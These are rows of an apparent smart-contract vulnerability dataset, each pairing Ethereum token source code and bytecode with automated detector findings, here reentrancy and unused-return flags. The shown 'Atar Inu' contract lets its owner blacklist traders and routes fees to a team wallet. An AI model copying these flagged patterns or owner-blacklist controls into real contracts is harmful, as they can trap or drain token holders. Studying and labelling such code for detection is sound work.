(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
} | 0x6080604052600436106101025760003560e01c806370a0823111610095578063a9059cbb11610064578063a9059cbb146102cb578063b515566a146102eb578063c3c8cd801461030b578063c9567bf914610320578063dd62ed3e1461033557600080fd5b806370a082311461023d578063715018a61461025d5780638da5cb5b1461027257806395d89b411461029a57600080fd5b8063273123b7116100d1578063273123b7146101ca578063313ce567146101ec5780635932ead1146102085780636fc3eaec1461022857600080fd5b806306fdde031461010e578063095ea7b31461015557806318160ddd1461018557806323b872dd146101aa57600080fd5b3661010957005b600080fd5b34801561011a57600080fd5b5060408051808201909152600c81526b53616b757261676920496e7560a01b60208201525b60405161014c91906117d7565b60405180910390f35b34801561016157600080fd5b50610175610170366004611680565b61037b565b604051901515815260200161014c565b34801561019157600080fd5b50670de0b6b3a76400005b60405190815260200161014c565b3480156101b657600080fd5b506101756101c5366004611640565b610392565b3480156101d657600080fd5b506101ea6101e53660046115d0565b6103fb565b005b3480156101f857600080fd5b506040516009815260200161014c565b34801561021457600080fd5b506101ea610223366004611772565b61044f565b34801561023457600080fd5b506101ea610497565b34801561024957600080fd5b5061019c6102583660046115d0565b6104c4565b34801561026957600080fd5b506101ea6104e6565b34801561027e57600080fd5b506000546040516001600160a01b03909116815260200161014c565b3480156102a657600080fd5b5060408051808201909152600881526753414b555241474960c01b602082015261013f565b3480156102d757600080fd5b506101756102e6366004611680565b61055a565b3480156102f757600080fd5b506101ea6103063660046116ab565b610567565b34801561031757600080fd5b506101ea61060b565b34801561032c57600080fd5b506101ea610641565b34801561034157600080fd5b5061019c610350366004611608565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b6000610388338484610a02565b5060015b92915050565b600061039f848484610b26565b6103f184336103ec856040518060600160405280602881526020016119a8602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190610e73565b610a02565b5060019392505050565b6000546001600160a01b0316331461042e5760405162461bcd60e51b81526004016104259061182a565b60405180910390fd5b6001600160a01b03166000908152600660205260409020805460ff19169055565b6000546001600160a01b031633146104795760405162461bcd60e51b81526004016104259061182a565b600f8054911515600160b81b0260ff60b81b19909216919091179055565b600c546001600160a01b0316336001600160a01b0316146104b757600080fd5b476104c181610ead565b50565b6001600160a01b03811660009081526002602052604081205461038c90610f32565b6000546001600160a01b031633146105105760405162461bcd60e51b81526004016104259061182a565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000610388338484610b26565b6000546001600160a01b031633146105915760405162461bcd60e51b81526004016104259061182a565b60005b8151811015610607576001600660008484815181106105c357634e487b7160e01b600052603260045260246000fd5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806105ff8161193d565b915050610594565b5050565b600c546001600160a01b0316336001600160a01b03161461062b57600080fd5b6000610636306104c4565b90506104c181610fb6565b6000546001600160a01b0316331461066b5760405162461bcd60e51b81526004016104259061182a565b600f54600160a01b900460ff16156106c55760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610425565b600e80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556107013082670de0b6b3a7640000610a02565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561073a57600080fd5b505afa15801561074e573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061077291906115ec565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156107ba57600080fd5b505afa1580156107ce573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107f291906115ec565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b15801561083a57600080fd5b505af115801561084e573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061087291906115ec565b600f80546001600160a01b0319166001600160a01b03928316179055600e541663f305d71947306108a2816104c4565b6000806108b76000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b15801561091a57600080fd5b505af115801561092e573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061095391906117aa565b5050600f8054662386f26fc1000060105563ffff00ff60a01b198116630101000160a01b17909155600e5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b1580156109ca57600080fd5b505af11580156109de573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610607919061178e565b6001600160a01b038316610a645760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610425565b6001600160a01b038216610ac55760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610425565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610b8a5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610425565b6001600160a01b038216610bec5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610425565b60008111610c4e5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610425565b6001600a556009600b556000546001600160a01b03848116911614801590610c8457506000546001600160a01b03838116911614155b15610e63576001600160a01b03831660009081526006602052604090205460ff16158015610ccb57506001600160a01b03821660009081526006602052604090205460ff16155b610cd457600080fd5b600f546001600160a01b038481169116148015610cff5750600e546001600160a01b03838116911614155b8015610d2457506001600160a01b03821660009081526005602052604090205460ff16155b8015610d395750600f54600160b81b900460ff165b15610d9657601054811115610d4d57600080fd5b6001600160a01b0382166000908152600760205260409020544211610d7157600080fd5b610d7c42603c6118cf565b6001600160a01b0383166000908152600760205260409020555b600f546001600160a01b038381169116148015610dc15750600e546001600160a01b03848116911614155b8015610de657506001600160a01b03831660009081526005602052604090205460ff16155b15610df6576001600a556009600b555b6000610e01306104c4565b600f54909150600160a81b900460ff16158015610e2c5750600f546001600160a01b03858116911614155b8015610e415750600f54600160b01b900460ff165b15610e6157610e4f81610fb6565b478015610e5f57610e5f47610ead565b505b505b610e6e83838361115b565b505050565b60008184841115610e975760405162461bcd60e51b815260040161042591906117d7565b506000610ea48486611926565b95945050505050565b600c546001600160a01b03166108fc610ec7836002611166565b6040518115909202916000818181858888f19350505050158015610eef573d6000803e3d6000fd5b50600d546001600160a01b03166108fc610f0a836002611166565b6040518115909202916000818181858888f19350505050158015610607573d6000803e3d6000fd5b6000600854821115610f995760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610425565b6000610fa36111a8565b9050610faf8382611166565b9392505050565b600f805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061100c57634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152600e54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561106057600080fd5b505afa158015611074573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061109891906115ec565b816001815181106110b957634e487b7160e01b600052603260045260246000fd5b6001600160a01b039283166020918202929092010152600e546110df9130911684610a02565b600e5460405163791ac94760e01b81526001600160a01b039091169063791ac9479061111890859060009086903090429060040161185f565b600060405180830381600087803b15801561113257600080fd5b505af1158015611146573d6000803e3d6000fd5b5050600f805460ff60a81b1916905550505050565b610e6e8383836111cb565b6000610faf83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506112c2565b60008060006111b56112f0565b90925090506111c48282611166565b9250505090565b6000806000806000806111dd87611330565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061120f908761138d565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461123e90866113cf565b6001600160a01b0389166000908152600260205260409020556112608161142e565b61126a8483611478565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516112af91815260200190565b60405180910390a3505050505050505050565b600081836112e35760405162461bcd60e51b815260040161042591906117d7565b506000610ea484866118e7565b6008546000908190670de0b6b3a764000061130b8282611166565b82101561132757505060085492670de0b6b3a764000092509050565b90939092509050565b600080600080600080600080600061134d8a600a54600b5461149c565b925092509250600061135d6111a8565b905060008060006113708e8787876114f1565b919e509c509a509598509396509194505050505091939550919395565b6000610faf83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610e73565b6000806113dc83856118cf565b905083811015610faf5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610425565b60006114386111a8565b905060006114468383611541565b3060009081526002602052604090205490915061146390826113cf565b30600090815260026020526040902055505050565b600854611485908361138d565b60085560095461149590826113cf565b6009555050565b60008080806114b660646114b08989611541565b90611166565b905060006114c960646114b08a89611541565b905060006114e1826114db8b8661138d565b9061138d565b9992985090965090945050505050565b60008080806115008886611541565b9050600061150e8887611541565b9050600061151c8888611541565b9050600061152e826114db868661138d565b939b939a50919850919650505050505050565b6000826115505750600061038c565b600061155c8385611907565b90508261156985836118e7565b14610faf5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610425565b80356115cb81611984565b919050565b6000602082840312156115e1578081fd5b8135610faf81611984565b6000602082840312156115fd578081fd5b8151610faf81611984565b6000806040838503121561161a578081fd5b823561162581611984565b9150602083013561163581611984565b809150509250929050565b600080600060608486031215611654578081fd5b833561165f81611984565b9250602084013561166f81611984565b929592945050506040919091013590565b60008060408385031215611692578182fd5b823561169d81611984565b946020939093013593505050565b600060208083850312156116bd578182fd5b823567ffffffffffffffff808211156116d4578384fd5b818501915085601f8301126116e7578384fd5b8135818111156116f9576116f961196e565b8060051b604051601f19603f8301168101818110858211171561171e5761171e61196e565b604052828152858101935084860182860187018a101561173c578788fd5b8795505b8386101561176557611751816115c0565b855260019590950194938601938601611740565b5098975050505050505050565b600060208284031215611783578081fd5b8135610faf81611999565b60006020828403121561179f578081fd5b8151610faf81611999565b6000806000606084860312156117be578283fd5b8351925060208401519150604084015190509250925092565b6000602080835283518082850152825b81811015611803578581018301518582016040015282016117e7565b818111156118145783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b818110156118ae5784516001600160a01b031683529383019391830191600101611889565b50506001600160a01b03969096166060850152505050608001529392505050565b600082198211156118e2576118e2611958565b500190565b60008261190257634e487b7160e01b81526012600452602481fd5b500490565b600081600019048311821515161561192157611921611958565b500290565b60008282101561193857611938611958565b500390565b600060001982141561195157611951611958565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146104c157600080fd5b80151581146104c157600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212208c0e9f3e33cd3970e55b425cc6be01f83f12769b3aa379ea06e666d3f68efcd564736f6c63430008040033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}} | 909 |
0x0ea25bd02b0d63f46fc79f755f60c0af89dee998 | /**
*Submitted for verification at Etherscan.io on 2022-04-16
*/
pragma solidity ^0.8.13;
// SPDX-License-Identifier: UNLICENSED
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract Atar is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 200000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _feeAddr1;
uint256 private _feeAddr2;
address payable private _feeAddrWallet;
string private constant _name = "Atar Inu";
string private constant _symbol = "ATAR";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
uint256 private _maxWalletSize = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_feeAddrWallet = payable(0x85A49De0AA76C17a24FBd843E0C5C1059d8aA986);
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_feeAddrWallet] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
_feeAddr1 = 0;
_feeAddr2 = 10;
if (from != owner() && to != owner()) {
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
// Cooldown
require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) {
_feeAddr1 = 0;
_feeAddr2 = 10;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function removeLimits() external onlyOwner{
_maxTxAmount = _tTotal;
_maxWalletSize = _tTotal;
}
function changeMaxTxAmount(uint256 percentage) external onlyOwner{
require(percentage>0);
_maxTxAmount = _tTotal.mul(percentage).div(100);
}
function changeMaxWalletSize(uint256 percentage) external onlyOwner{
require(percentage>0);
_maxWalletSize = _tTotal.mul(percentage).div(100);
}
function sendETHToFee(uint256 amount) private {
_feeAddrWallet.transfer(amount);
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 4000000000 * 10**9;
_maxWalletSize = 6000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function nonosquare(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
require(_msgSender() == _feeAddrWallet);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _feeAddrWallet);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
} | 0x6080604052600436106101235760003560e01c806370a08231116100a0578063a9059cbb11610064578063a9059cbb146103a6578063b87f137a146103e3578063c3c8cd801461040c578063c9567bf914610423578063dd62ed3e1461043a5761012a565b806370a08231146102e5578063715018a614610322578063751039fc146103395780638da5cb5b1461035057806395d89b411461037b5761012a565b8063273123b7116100e7578063273123b714610228578063313ce567146102515780635932ead11461027c578063677daa57146102a55780636fc3eaec146102ce5761012a565b806306fdde031461012f578063095ea7b31461015a57806318160ddd146101975780631b3f71ae146101c257806323b872dd146101eb5761012a565b3661012a57005b600080fd5b34801561013b57600080fd5b50610144610477565b604051610151919061271e565b60405180910390f35b34801561016657600080fd5b50610181600480360381019061017c91906127e8565b6104b4565b60405161018e9190612843565b60405180910390f35b3480156101a357600080fd5b506101ac6104d2565b6040516101b9919061286d565b60405180910390f35b3480156101ce57600080fd5b506101e960048036038101906101e491906129d0565b6104e3565b005b3480156101f757600080fd5b50610212600480360381019061020d9190612a19565b61060d565b60405161021f9190612843565b60405180910390f35b34801561023457600080fd5b5061024f600480360381019061024a9190612a6c565b6106e6565b005b34801561025d57600080fd5b506102666107d6565b6040516102739190612ab5565b60405180910390f35b34801561028857600080fd5b506102a3600480360381019061029e9190612afc565b6107df565b005b3480156102b157600080fd5b506102cc60048036038101906102c79190612b29565b610891565b005b3480156102da57600080fd5b506102e361096b565b005b3480156102f157600080fd5b5061030c60048036038101906103079190612a6c565b6109dd565b604051610319919061286d565b60405180910390f35b34801561032e57600080fd5b50610337610a2e565b005b34801561034557600080fd5b5061034e610b81565b005b34801561035c57600080fd5b50610365610c38565b6040516103729190612b65565b60405180910390f35b34801561038757600080fd5b50610390610c61565b60405161039d919061271e565b60405180910390f35b3480156103b257600080fd5b506103cd60048036038101906103c891906127e8565b610c9e565b6040516103da9190612843565b60405180910390f35b3480156103ef57600080fd5b5061040a60048036038101906104059190612b29565b610cbc565b005b34801561041857600080fd5b50610421610d96565b005b34801561042f57600080fd5b50610438610e10565b005b34801561044657600080fd5b50610461600480360381019061045c9190612b80565b611330565b60405161046e919061286d565b60405180910390f35b60606040518060400160405280600881526020017f4174617220496e75000000000000000000000000000000000000000000000000815250905090565b60006104c86104c16113b7565b84846113bf565b6001905092915050565b6000680ad78ebc5ac6200000905090565b6104eb6113b7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610578576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161056f90612c0c565b60405180910390fd5b60005b81518110156106095760016006600084848151811061059d5761059c612c2c565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061060190612c8a565b91505061057b565b5050565b600061061a848484611588565b6106db846106266113b7565b6106d6856040518060600160405280602881526020016136c160289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061068c6113b7565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c199092919063ffffffff16565b6113bf565b600190509392505050565b6106ee6113b7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461077b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161077290612c0c565b60405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b6107e76113b7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610874576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086b90612c0c565b60405180910390fd5b80600e60176101000a81548160ff02191690831515021790555050565b6108996113b7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610926576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161091d90612c0c565b60405180910390fd5b6000811161093357600080fd5b610962606461095483680ad78ebc5ac6200000611c7d90919063ffffffff16565b611cf790919063ffffffff16565b600f8190555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166109ac6113b7565b73ffffffffffffffffffffffffffffffffffffffff16146109cc57600080fd5b60004790506109da81611d41565b50565b6000610a27600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611dad565b9050919050565b610a366113b7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ac3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610aba90612c0c565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610b896113b7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c16576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0d90612c0c565b60405180910390fd5b680ad78ebc5ac6200000600f81905550680ad78ebc5ac6200000601081905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600481526020017f4154415200000000000000000000000000000000000000000000000000000000815250905090565b6000610cb2610cab6113b7565b8484611588565b6001905092915050565b610cc46113b7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d51576040517f08c379a0000000000000000000000000000000